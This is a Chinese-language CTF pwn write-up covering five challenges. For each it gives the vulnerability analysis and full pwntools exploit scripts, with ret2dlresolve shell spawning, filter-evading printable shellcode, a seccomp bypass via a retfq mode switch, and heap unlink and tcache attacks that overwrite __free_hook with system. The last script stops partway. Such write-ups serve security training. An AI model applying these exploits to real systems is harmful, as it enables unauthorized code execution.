no_output 1 2 3 4 5 6 test: ELF 32 -bit LSB executable, Intel 80386 , version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2 , BuildID[sha1]=42055570b c1508252eacc21b95b83f8c002483eb, for GNU/Linux 3.2 .0 , stripped Arch: i386-32 -little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000 )
漏洞分析
简单栈溢出
1 2 3 4 5 6 ssize_t read_s () { char buf[68 ]; return read(0 , buf, 0x100 u); }
strcpy 会将字符串末尾置空,导致 fdg 被设置为“0”
入侵思路
利用 strcpy 的溢出覆盖 fdg 为“0”,通过第二次输入绕过程序的字符串匹配检查
接着就要考虑如何触发浮点异常信号 SIGFPE:
1 2 3 4 5 6 7 8 9 10 v2 = "give me the soul:" ; __isoc99_scanf("%d" , soul); v2 = "give me the egg:" ; __isoc99_scanf("%d" , &egg); if ( egg ){ signal(8 , (__sighandler_t )read_s); soul[1 ] = soul[0 ] / egg; signal(8 , 0 ); }
由于除号两边都是 int 类型,因此 -0x80000000/-1
就会触发漏洞(-0x80000000/-1
的计算结果为 0x80000000
,其值为负数,导致符号位溢出)
由于没法泄露,因此只能打 ret2dlresolve
对于32位无 PIE 保护的程序,在 pwntools 中有比较成熟的 ret2dlresolve 工具,直接拿来用就好了
完整 exp 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 from signal import pausefrom pwn import *arch = 32 challenge = './test' context.os='linux' context.log_level = 'debug' if arch==64 : context.arch='amd64' if arch==32 : context.arch='i386' elf = ELF(challenge) context.binary = elf rl = lambda a=False : p.recvline(a) ru = lambda a,b=True : p.recvuntil(a,b) rn = lambda x : p.recvn(x) sn = lambda x : p.send(x) sl = lambda x : p.sendline(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a,b) irt = lambda : p.interactive() dbg = lambda text=None : gdb.attach(p, text) lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval (s))) uu32 = lambda data : u32(data.ljust(4 , b'x00' )) uu64 = lambda data : u64(data.ljust(8 , b'x00' )) local = 1 if local: p = process(challenge) else : p = remote('119.13.105.35' ,'10111' ) def debug (): gdb.attach(p,"b* 0x8049268" ) pause() def cmd (op ): sla(">" ,str (op)) sl("\x00" ) sleep(0.2 ) p.send("a" *0x20 ) sleep(0.2 ) sl("hello_boy" ) sleep(0.2 ) sl("-2147483648" ) sleep(0.2 ) sl("-1" ) sleep(0.2 ) bss_addr = 0x804C080 +0x200 rop = ROP(context.binary) dlresolve = Ret2dlresolvePayload(elf,symbol="system" ,args=["/bin/sh" ]) rop.read(0 ,dlresolve.data_addr) rop.ret2dlresolve(dlresolve) print (rop.dump())raw_rop = rop.chain() sl(flat([{76 :raw_rop}])) sl(dlresolve.payload) p.interactive()
orw 1 GNU C Library (Ubuntu GLIBC 2.23 -0u buntu11.3 ) stable release version 2.23, by Roland McGrath et al.
1 2 3 4 5 6 7 pwn: ELF 64 -bit LSB shared object, x86-64 , version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64. so.2 , for GNU/Linux 2.6 .32 , BuildID[sha1]=02 a3c09af5900983d07486d2b3310dffcebfde86, stripped Arch: amd64-64 -little RELRO: Partial RELRO Stack: Canary found NX: NX disabled PIE: PIE enabled RWX: Has RWX segments
64位,dynamically,Partial RELRO,Canary,PIE
1 2 3 4 5 6 7 8 9 10 11 12 13 line CODE JT JF K ================================= 0000 : 0x20 0x00 0x00 0x00000004 A = arch 0001 : 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010 0002 : 0x20 0x00 0x00 0x00000000 A = sys_number 0003 : 0x35 0x00 0x01 0x40000000 if (A < 0x40000000 ) goto 0005 0004 : 0x15 0x00 0x05 0xffffffff if (A != 0xffffffff ) goto 0010 0005 : 0x15 0x03 0x00 0x00000000 if (A == read) goto 0009 0006 : 0x15 0x02 0x00 0x00000001 if (A == write) goto 0009 0007 : 0x15 0x01 0x00 0x00000002 if (A == open) goto 0009 0008 : 0x15 0x00 0x01 0x0000003c if (A != exit ) goto 0010 0009 : 0x06 0x00 0x00 0x7fff0000 return ALLOW 0010 : 0x06 0x00 0x00 0x00000000 return KILL
漏洞分析
index 缺乏检查,导致 chunk_list 可以向上溢出:
1 2 3 4 5 6 chunk_list[index] = malloc (size); if ( !chunk_list[index] ){ puts ("error" ); exit (0 ); }
入侵思路
程序的限制比较多:
add 可以执行2次,dele 可以执行1次
每次输入的 size 大小不超过8字节,index 大小不超过1(可以为负数)
由于 index 可以为负数,可以尝试向上溢出,能够劫持的地方只有两处:GOT,IO_FILE
1 2 98 :04 c0│ 0x564531002060 (malloc @got.plt) —▸ 0x7fa488599180 (malloc ) ◂— push rbp99 :04 c8│ 0x564531002068 (setvbuf@got.plt) —▸ 0x7fa488584e80 (setvbuf) ◂— push rbp
1 2 a2:0510 │ 0x5645310020b0 —▸ 0x7fa4888d98e0 (_IO_2_1_stdin_) ◂— 0xfbad208b a3:0518 │ 0x5645310020b8 ◂— 0x0
往 GOT 写入堆地址似乎没有什么用,劫持 IO_FILE 的话输入的字节数又太少
后来突然意识到一点:写入 GOT 的堆中数据可能会被执行(没有 NX),有些 wp 上也是利用这一点进行入侵
但经测试发现这些数据没有执行权限,vmmap 打印的 heap 段也没有显示x权限
1 2 3 pwndbg> vmmap 0x555555605160 LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x555555605000 0x555555626000 rw-p 21000 0 [heap] +0x160
一番查找后得知:某些旧版本的操作系统可能不支持或不启用NX位,在这种情况下,即使关闭了NX位,堆仍然不会具有执行权限
接下来的思路就简单了,往 GOT 写入并执行8字节的指令,共有2次机会
其中最适合写指令的 GOT 表条目就是 atoi got
:
1 2 readn(nptr, 16LL ); return atoi(nptr);
1 2 ► 0x555555400e29 call atoi@plt <atoi@plt> nptr: 0x7fffffffdc20 ◂— 0x31
因为栈也是有执行权限的,如果在 atoi got
中写入 jmp rdi
就可以劫持控制流到栈上,然后执行一个 sys_read 就可以写入 ORW 的 shellcode
由于 heap 权限的问题没有解决,我这里只能参考网上的 exp 大概写一下
非完整 exp 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 from pwn import *arch = 64 challenge = './pwn1' context.os='linux' if arch==64 : context.arch='amd64' if arch==32 : context.arch='i386' elf = ELF(challenge) libc = ELF('libc-2.23.so' ) rl = lambda a=False : p.recvline(a) ru = lambda a,b=True : p.recvuntil(a,b) rn = lambda x : p.recvn(x) sn = lambda x : p.send(x) sl = lambda x : p.sendline(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a,b) irt = lambda : p.interactive() dbg = lambda text=None : gdb.attach(p, text) lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval (s))) uu32 = lambda data : u32(data.ljust(4 , b'x00' )) uu64 = lambda data : u64(data.ljust(8 , b'x00' )) c = "set exec-wrapper env 'LD_PRELOAD=./libc-2.23.so'\nrun\nb *$rebase(0xE29)\n" local = 1 if local: p = gdb.debug(challenge,c) else : p = remote('119.13.105.35' ,'10111' ) def debug (): gdb.attach(p,c) pause() def cmd (op ): sla(">>" ,str (op)) def add (index,size,data ): cmd(1 ) if (type (index) == int ): sla("index:" ,str (index)) else : sla("index:" ,index) sla("size:" ,str (size)) sla("content:" ,data) def dele (index ): cmd(4 ) if (type (index) == int ): sla("index:" ,str (index)) else : sla("index:" ,index) add("-14" ,0x8 ,asm("jmp rdi" )) shellcode_open = shellcraft.pushstr("flag" ) + shellcraft.open ("rsp" ) shellcode_read = shellcraft.read("rax" ,"rsp" ,60 ) shellcode_write = shellcraft.write(1 ,"rsp" ,60 ) print (len (shellcode_open))print (len (shellcode_read))print (len (shellcode_write))shellcode_magic = asm("xor rax,rax;mov dl,0x80;mov rsi,rbp;push rax;pop rdi;syscall;jmp rbp" ) cmd(shellcode_magic) p.send(asm(shellcode_open+shellcode_read+shellcode_write)) p.interactive()
shellcode 1 2 3 4 5 6 shellcode: ELF 64 -bit LSB executable, x86-64 , version 1 (SYSV), statically linked, stripped Arch: amd64-64 -little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000 )
1 2 3 4 5 6 7 8 9 0000 : 0x20 0x00 0x00 0x00000000 A = sys_number0001 : 0x15 0x06 0x00 0x00000005 if (A == fstat) goto 0008 0002 : 0x15 0x05 0x00 0x00000025 if (A == alarm) goto 0008 0003 : 0x15 0x03 0x00 0x00000004 if (A == stat) goto 0007 0004 : 0x15 0x03 0x00 0x00000000 if (A == read) goto 0008 0005 : 0x15 0x02 0x00 0x00000009 if (A == mmap) goto 0008 0006 : 0x15 0x01 0x00 0x000000e7 if (A == exit_group) goto 0008 0007 : 0x06 0x00 0x00 0x00000000 return KILL0008 : 0x06 0x00 0x00 0x7fff0000 return ALLOW
白名单,要考虑 retfq 切换32位架构绕过 seccomp
漏洞分析
直接执行 shellcode:
1 2 3 4 5 6 7 8 9 10 11 12 13 size = sys_read(0 , shellcode, 0x1000 uLL); size2 = size; if ( shellcode[(int )size - 1 ] == 0xA ){ shellcode[(int )size - 1 ] = 0 ; size2 = size - 1 ; } for ( i = 0 ; i < size2; ++i ){ if ( shellcode[i] <= 0x1F || shellcode[i] == 0x7F ) goto LABEL_10; } ((void (*)(void ))shellcode)();
现在 shellcode 的范围为 (0x1f,0x7f)
入侵思路
程序对输入的 shellcode 有检查,建议用 nasm 手动编写 shellcode
可以利用 shellcode 创造一个 sys_read 绕过 shellcode 的检查,但在实际构造的过程中遇到了很多问题,最大的问题但就是无法使用 syscall(类似于 mov,add 之类的指令也会被过滤掉)
后来调试网上的 wp 发现了解决的办法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 append = ''' push rdx pop rdx ''' shellcode_read = ''' /*read(0,0x40404040,0x70)*/ push 0x40404040 pop rsi push 0x40 pop rax xor al,0x40 push rax pop rdi xor al,0x40 push 0x70 pop rdx push rbx pop rax push 0x5d pop rcx xor byte ptr[rax+0x57],cl push 0x5f pop rcx xor byte ptr[rax+0x58],cl push rdx pop rax xor al,0x70 ''' shellcode = "" shellcode += shellcode_read shellcode += append shellcode = asm(shellcode,arch = 'amd64' ,os = 'linux' )
直接输入 syscall 会被检测出来,但通过 xor byte ptr[rax+offset],cl
就可以将后面的二进制代码给计算为 syscall
对于这种会检查 shellcode 的程序来说,破解的关键点就是要利用合适的汇编指令来修改 shellcode 本身
利用这个技巧可以获取到 syscall,但由于程序没法泄露,因此先执行 sys_mmap 申请一段固定位置的缓冲区,然后执行 sys_read 将数据写入其中:
1 2 3 4 5 6 7 ► 0x7f6fba0ee031 syscall <SYS_mmap> addr: 0x40404040 len: 0x7e prot: 0x7 flags: 0x22 fd: 0x0 (pipe:[270462 ]) offset: 0x0
1 2 3 4 ► 0x7f6fba0ee057 syscall <SYS_read> fd: 0x0 (pipe:[270462 ]) buf: 0x40404040 ◂— 0 nbytes: 0x70
最后的步骤就是 retfq 切换32位架构来绕过 seccomp 了
指令 retfq 有两步操作:pop ip,pop cs(retf 是32位的 pop,retfq 是64位的 pop)
cs=0x23 程序以32位模式运行
cs=0x33 程序以64位模式运行
只要按照如下方法步骤 shellcode 就可以完成切换:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 shellcode_retfq = ''' push rbx pop rax xor al,0x40 push 0x72 pop rcx xor byte ptr[rax+0x40],cl push 0x68 pop rcx xor byte ptr[rax+0x40],cl push 0x47 pop rcx sub byte ptr[rax+0x41],cl push 0x48 pop rcx sub byte ptr[rax+0x41],cl push rdi push rdi push 0x23 push 0x40404040 pop rax push rax '''
正常写入的 retfq 指令会被程序过滤,但还是可以通过 sub byte ptr[rax+offset],cl
进行调整
在绕过 seccomp 后还是会因为没有 wrire 而打印不出 flag,因此只能通过 cmp 汇编指令来区别内存中的 flag,将 flag 爆破出来(类似于 SCTF-gadget 的思路)
完整 exp 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 from pwn import *arch = 64 challenge = './shellcode' context.os='linux' elf = ELF(challenge) rl = lambda a=False : p.recvline(a) ru = lambda a,b=True : p.recvuntil(a,b) rn = lambda x : p.recvn(x) sn = lambda x : p.send(x) sl = lambda x : p.sendline(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a,b) irt = lambda : p.interactive() dbg = lambda text=None : gdb.attach(p, text) lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval (s))) uu32 = lambda data : u32(data.ljust(4 , b'x00' )) uu64 = lambda data : u64(data.ljust(8 , b'x00' )) def debug (): gdb.attach(p,"b *0x40026D\n" ) pause() def cmd (op ): sla(">" ,str (op)) append = ''' push rdx pop rdx ''' shellcode_mmap = ''' /*mmap(0x40404040,0x7e,7,34,0,0)*/ push 0x40404040 /*set rdi*/ pop rdi push 0x7e /*set rsi*/ pop rsi push 0x40 /*set rdx*/ pop rax xor al,0x47 push rax pop rdx push 0x40 /*set r8*/ pop rax xor al,0x40 push rax pop r8 push rax /*set r9*/ pop r9 /*syscall*/ push rbx pop rax push 0x5d pop rcx xor byte ptr[rax+0x31],cl push 0x5f pop rcx xor byte ptr[rax+0x32],cl push 0x22 /*set rcx*/ pop rcx push 0x40/*set rax*/ pop rax xor al,0x49 ''' shellcode_read = ''' /*read(0,0x40404040,0x70)*/ push 0x40404040 pop rsi push 0x40 pop rax xor al,0x40 push rax pop rdi xor al,0x40 push 0x70 pop rdx push rbx pop rax push 0x5d pop rcx xor byte ptr[rax+0x57],cl push 0x5f pop rcx xor byte ptr[rax+0x58],cl push rdx pop rax xor al,0x70 ''' shellcode_retfq = ''' push rbx pop rax xor al,0x40 push 0x72 pop rcx xor byte ptr[rax+0x40],cl push 0x68 pop rcx xor byte ptr[rax+0x40],cl push 0x47 pop rcx sub byte ptr[rax+0x41],cl push 0x48 pop rcx sub byte ptr[rax+0x41],cl push rdi push rdi push 0x23 push 0x40404040 pop rax push rax ''' def pwn (p,index,ch ): shellcode_x86 = ''' /*fp = open("flag")*/ mov esp,0x40404140 push 0x67616c66 push esp pop ebx xor ecx,ecx mov eax,5 int 0x80 mov ecx,eax ''' shellcode_flag = ''' push 0x33 push 0x40404089 retfq /*read(fp,buf,0x70)*/ mov rdi,rcx mov rsi,rsp mov rdx,0x70 xor rax,rax syscall ''' shellcode = "" shellcode += shellcode_mmap shellcode += append shellcode += shellcode_read shellcode += append shellcode += shellcode_retfq shellcode += append shellcode = asm(shellcode,arch = 'amd64' ,os = 'linux' ) sl(shellcode) sleep(0.3 ) if index == 0 : shellcode_flag+="cmp byte ptr[rsi+{0}],{1};jz $-3;ret" .format (index,ch) else : shellcode_flag+="cmp byte ptr[rsi+{0}],{1};jz $-4;ret" .format (index,ch) shellcode_x86 = asm(shellcode_x86,arch = 'i386' ,os = 'linux' ) shellcode_flag = asm(shellcode_flag,arch = 'amd64' ,os = 'linux' ) shellcode = shellcode_x86 + 0x29 *b'\x90' + shellcode_flag sl(shellcode) index = 0 a=[] while True : for ch in range (0x20 ,127 ): local = 1 if local: p = process(challenge) else : p = remote('119.13.105.35' ,'10111' ) pwn(p,index,ch) start = time.time() try : p.recv(timeout=2 ) print ("" .join([chr (i) for i in a])) except : pass end=time.time() p.close() if end-start>1.5 : a.append(ch) print ("" .join([chr (i) for i in a])) break else : print ("" .join([chr (i) for i in a])) break index = index + 1 print ("" .join([chr (i) for i in a]))p.interactive()
baby_diary 1 2 3 4 5 6 baby_diary: ELF 64 -bit LSB shared object, x86-64 , version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64. so.2 , BuildID[sha1]=664b d170fa1869d1e8bae262af76385c91c3e97d, for GNU/Linux 3.2 .0 , stripped Arch: amd64-64 -little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
1 GNU C Library (Ubuntu GLIBC 2.31 -0u buntu9.2 ) stable release version 2.31.
漏洞分析
整数溢出:
1 chunk_list[i] = (char *)malloc (size + 1 );
负数溢出:
1 2 3 index = input(); if ( check(index) ) printf ("content: %s\n" , (const char *)chunk_list[index]);
有 off-by-one 漏洞:
1 2 3 4 chunk = chunk_list[index]; size_list[index] = len; if ( len ) chunk[len + 1 ] = (chunk[len + 1 ] & 0xF0 ) + code2(index);
可以控制 chunk[len + 1]
为 0x0-0xf
入侵思路
本题目的核心点就是无泄露 unlink,对于所有的无泄漏 unlink 都可以考虑如下的堆风水:
获取两个 unsorted chunk 进行合并,其中的第二个 chunk 末地址必须为 \x00
(遗留下 FD BK 指针)
重新申请大 unsorted chunk 后释放(不破坏原来的 heap 结构),然后再次进行分割,使第二个 chunk 的末尾地址为 \x30
或者 \x40
\x50
等等(有一定偏移的地址都可以)
之后利用 unsortedbin 进行调整,在 FD->bk 和 BK->fd 中写入 \x30
,然后覆盖为 \x00
不过本题目有点特殊,在具体的堆风水在构建时需要作出微调,可以参考如下的泄露脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 add(0x418 ) add(0x210 ) add(0x428 ) add(0x438 ) add(0x378 ,"8" *0x10 ) add(0x428 ) add(0x208 ) dele(0 ) dele(3 ) dele(5 ) dele(2 ) add(0x440 ,0x427 *"\x00" +"\x0e" ) dele(0 ) add(0x440 ,0x426 *"\x00" +"\x01" ) add(0x418 ) add(0x418 ) add(0x428 ) dele(3 ) dele(2 ) add(0x418 ,'\x00' *7 +"\x0d" +"\n" ) add(0x418 ) dele(3 ) dele(5 ) add(0x9f8 ) add(0x428 ,"\n" ) dele(6 ) add(0x208 ,0x208 *"\x00" ) dele(6 ) add(0x208 ,0x1ff *"\x00" +"\x0e" ) add(0x418 ) add(0x208 ) dele(3 ) add(0x430 ,flat(0 ,0 ,0 ,p64(0x421 ))) add(0x1600 ) show(4 ) ru(" content: " ) leak_addr = u64(p.recv(6 ).ljust(8 ,"\x00" )) libc_base = leak_addr - 0x1ec210 success("leak_addr >> " +hex (leak_addr)) success("libc_base >> " +hex (libc_base))
最后调整一下堆风水,劫持 tcache attack 就可以了
完整 exp 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 from signal import pausefrom pwn import *arch = 64 challenge = './baby_diary1' context.os='linux' if arch==64 : context.arch='amd64' if arch==32 : context.arch='i386' elf = ELF(challenge) libc = ELF('libc-2.31.so' ) rl = lambda a=False : p.recvline(a) ru = lambda a,b=True : p.recvuntil(a,b) rn = lambda x : p.recvn(x) sn = lambda x : p.send(x) sl = lambda x : p.sendline(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a,b) irt = lambda : p.interactive() dbg = lambda text=None : gdb.attach(p, text) lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval (s))) uu32 = lambda data : u32(data.ljust(4 , b'x00' )) uu64 = lambda data : u64(data.ljust(8 , b'x00' )) local = 1 if local: p = process(challenge) else : p = remote('119.13.105.35' ,'10111' ) def debug (): gdb.attach(p,"b *$rebase(0x17D7)\n" ) def cmd (op ): sla(">>" ,str (op)) def add (size,data="\n" ): cmd(1 ) sla(" size:" ,str (size-1 )) sla(" content: " ,data) def show (index ): cmd(2 ) sla("index:" ,str (index)) def dele (index ): cmd(3 ) sla("index:" ,str (index)) add(0x418 ) add(0x210 ) add(0x428 ) add(0x438 ) add(0x378 ,"8" *0x10 ) add(0x428 ) add(0x208 ) dele(0 ) dele(3 ) dele(5 ) dele(2 ) add(0x440 ,0x427 *"\x00" +"\x0e" ) dele(0 ) add(0x440 ,0x426 *"\x00" +"\x01" ) add(0x418 ) add(0x418 ) add(0x428 ) dele(3 ) dele(2 ) add(0x418 ,'\x00' *7 +"\x0d" +"\n" ) add(0x418 ) dele(3 ) dele(5 ) add(0x9f8 ) add(0x428 ,"\n" ) dele(6 ) add(0x208 ,0x208 *"\x00" ) dele(6 ) add(0x208 ,0x1ff *"\x00" +"\x0e" ) add(0x418 ) add(0x208 ) dele(3 ) add(0x430 ,flat(0 ,0 ,0 ,p64(0x421 ))) add(0x1600 ) show(4 ) ru(" content: " ) leak_addr = u64(p.recv(6 ).ljust(8 ,"\x00" )) libc_base = leak_addr - 0x1ec210 success("leak_addr >> " +hex (leak_addr)) success("libc_base >> " +hex (libc_base)) free_hook = libc_base + libc.sym["__free_hook" ] system = libc_base + libc.sym["system" ] success("free_hook >> " +hex (free_hook)) success("system >> " +hex (system)) add(0x208 ,0x100 *"\x00" ) add(0x208 ,0x100 *"\x00" ) add(0x208 ,0x100 *"\x00" ) dele(4 ) dele(11 ) dele(12 ) dele(6 ) payload = 0x178 *"\x00" +p64(0x211 )+p64(free_hook)+p64(free_hook) add(0x300 ,payload) add(0x208 ,"/bin/sh\x00" ) add(0x208 ,p64(system)) dele(6 ) p.interactive()
babypwn 1 GNU C Library (Ubuntu GLIBC 2.27 -3u buntu1) stable release version 2.27.
1 2 3 4 5 6 babypwn: ELF 64 -bit LSB shared object, x86-64 , version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64. so.2 , for GNU/Linux 3.2 .0 , BuildID[sha1]=721 c84a30c78ecb82a98a6d484d884a502b54fd6, stripped Arch: amd64-64 -little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
1 2 3 4 5 6 7 8 9 10 line CODE JT JF K ================================= 0000 : 0x20 0x00 0x00 0x00000004 A = arch 0001 : 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007 0002 : 0x20 0x00 0x00 0x00000000 A = sys_number 0003 : 0x35 0x00 0x01 0x40000000 if (A < 0x40000000 ) goto 0005 0004 : 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff ) goto 0007 0005 : 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0007 0006 : 0x06 0x00 0x00 0x7fff0000 return ALLOW 0007 : 0x06 0x00 0x00 0x00000000 return KILL
漏洞分析
程序在 edit 完后会将所有的 0x11 置空,但是没有限制范围:
1 2 3 4 5 6 7 8 9 10 11 12 void __fastcall change (char *chunk) { while ( *chunk ) { if ( *chunk == 0x11 ) { *chunk = 0 ; return ; } ++chunk; } }
入侵思路
程序的泄露模块需要逆向,先进行一波分析:
1 2 3 for ( i = 2 ; i > 0 ; --i ) a1 ^= (32 * a1) ^ ((a1 ^ (32 * a1)) >> 17 ) ^ (((32 * a1) ^ a1 ^ ((a1 ^ (32 * a1)) >> 17 )) << 13 ); return printf ("%lx\n" , a1);
直接使用 z3 求解,脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 def decode (target ): a1 = BitVec("a1" ,32 ) x = Solver() for i in range (2 ): a1 ^= (32 * a1) ^ LShR((a1 ^ (32 * a1)),17 ) ^ (((32 * a1) ^ a1 ^ LShR((a1 ^ (32 * a1)),17 )) << 13 ) x.add(target == a1) if (x.check()==sat): model = str (x.model()) print (model) pos, val = model.split('=' )[:2 ] re = eval (val[:-1 ]) print (hex (re)) return re
这里弄了好久,最后发现 z3 不能直接左移,要用对应的函数 LShR
泄露 heap_base 很容易就能打 unlink 实现堆重叠,程序开了沙盒,需要使用堆上 ORW 的技术:
限制了 size 大小(难以打 largebin attack),但通过劫持 tcache 可以打 IO
也可以通过 TLS 泄露栈地址,然后劫持 tcache 打栈
这里我选择了后者(一般来说,程序如果限制 size 为 unsorted chunk 则选择前者,限制 size 为 tcache 就选择后者)
完整 exp 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 from pwn import *from z3 import *arch = 64 challenge = './babypwn1' context.os='linux' if arch==64 : context.arch='amd64' if arch==32 : context.arch='i386' elf = ELF(challenge) libc = ELF('libc-2.27.so' ) rl = lambda a=False : p.recvline(a) ru = lambda a,b=True : p.recvuntil(a,b) rn = lambda x : p.recvn(x) sn = lambda x : p.send(x) sl = lambda x : p.sendline(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a,b) irt = lambda : p.interactive() dbg = lambda text=None : gdb.attach(p, text) lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval (s))) uu32 = lambda data : u32(data.ljust(4 , b'x00' )) uu64 = lambda data : u64(data.ljust(8 , b'x00' )) local = 1 if local: p = process(challenge) else : p = remote('119.13.105.35' ,'10111' ) def debug (): gdb.attach(p,"b *$rebase(0xFCB)\n" ) pause() def cmd (op ): sla(">>>" ,str (op)) def add (size ): cmd(1 ) sla("size:" ,str (size)) def dele (index ): cmd(2 ) sla("index:" ,str (index)) def edit (index,data ): cmd(3 ) sla("index:" ,str (index)) sla("content:" ,data) def show (index ): cmd(4 ) sla("index:" ,str (index)) def decode (target ): a1 = BitVec("a1" ,32 ) x = Solver() for i in range (2 ): a1 ^= (32 * a1) ^ LShR((a1 ^ (32 * a1)),17 ) ^ (((32 * a1) ^ a1 ^ LShR((a1 ^ (32 * a1)),17 )) << 13 ) x.add(target == a1) if (x.check()==sat): model = str (x.model()) print (model) pos, val = model.split('=' )[:2 ] re = eval (val[:-1 ]) print (hex (re)) return re add(0xe0 ) show(0 ) ru("\n" ) leakaddr = eval (b"0x" +ru("\n" )) leakaddr1 = decode(leakaddr) leakaddr = eval (b"0x" +ru("\n" )) leakaddr2 = decode(leakaddr) leakaddr = leakaddr1 + leakaddr2 * 0x100000000 heap_base = leakaddr - 0x670 success("leakaddr >> " +hex (leakaddr)) success("heap_base >> " +hex (heap_base)) add(0x108 ) heap_addr = heap_base + 0xf60 payload = p64(0 )+p64(0x541 ) payload += p64(heap_addr+0x30 )+p64(heap_addr+0x30 )+p64(0 )+p64(0 )+p64(heap_addr+0x10 )+p64(heap_addr+0x10 ) edit(1 ,payload) add(0x108 ) add(0x108 ) add(0x108 ) add(0x108 ) add(0x108 ) payload = "a" *0x108 edit(5 ,payload) payload = "a" *0x100 +p64(0x540 ) edit(5 ,payload) payload = "\x00" *0xf0 +p64(0 )+p64(0x111 ) edit(6 ,payload) for i in range (7 ): add(0xf8 ) for i in range (7 ): dele(i+7 ) dele(6 ) add(0x30 ) show(6 ) ru("\n" ) leakaddr = eval (b"0x" +ru("\n" )) leakaddr1 = decode(leakaddr) leakaddr = eval (b"0x" +ru("\n" )) leakaddr2 = decode(leakaddr) leakaddr = leakaddr1 + leakaddr2 * 0x100000000 libc_base = leakaddr - 0x3ec120 success("leakaddr >> " +hex (leakaddr)) success("libc_base >> " +hex (libc_base)) free_hook = libc_base + libc.sym["__free_hook" ] set_context = libc_base + libc.sym["setcontext" ]+61 stack_libc = libc_base + 0x5d1a40 for i in range (5 ): dele(4 -i) payload = 0xb8 *"a" +p64(0x111 )+p64(stack_libc)+p64(heap_base+0x10 ) add(0x200 ) edit(0 ,payload) add(0x108 ) add(0x108 ) add(0x108 ) show(3 ) ru("\n" ) leakaddr = eval (b"0x" +ru("\n" )) leakaddr1 = decode(leakaddr) leakaddr = eval (b"0x" +ru("\n" )) leakaddr2 = decode(leakaddr) leakaddr = leakaddr1 + leakaddr2 * 0x100000000 stack_base = leakaddr - 0x1fc90 success("leakaddr >> " +hex (leakaddr)) success("stack_base >> " +hex (stack_base)) dele(1 ) dele(5 ) 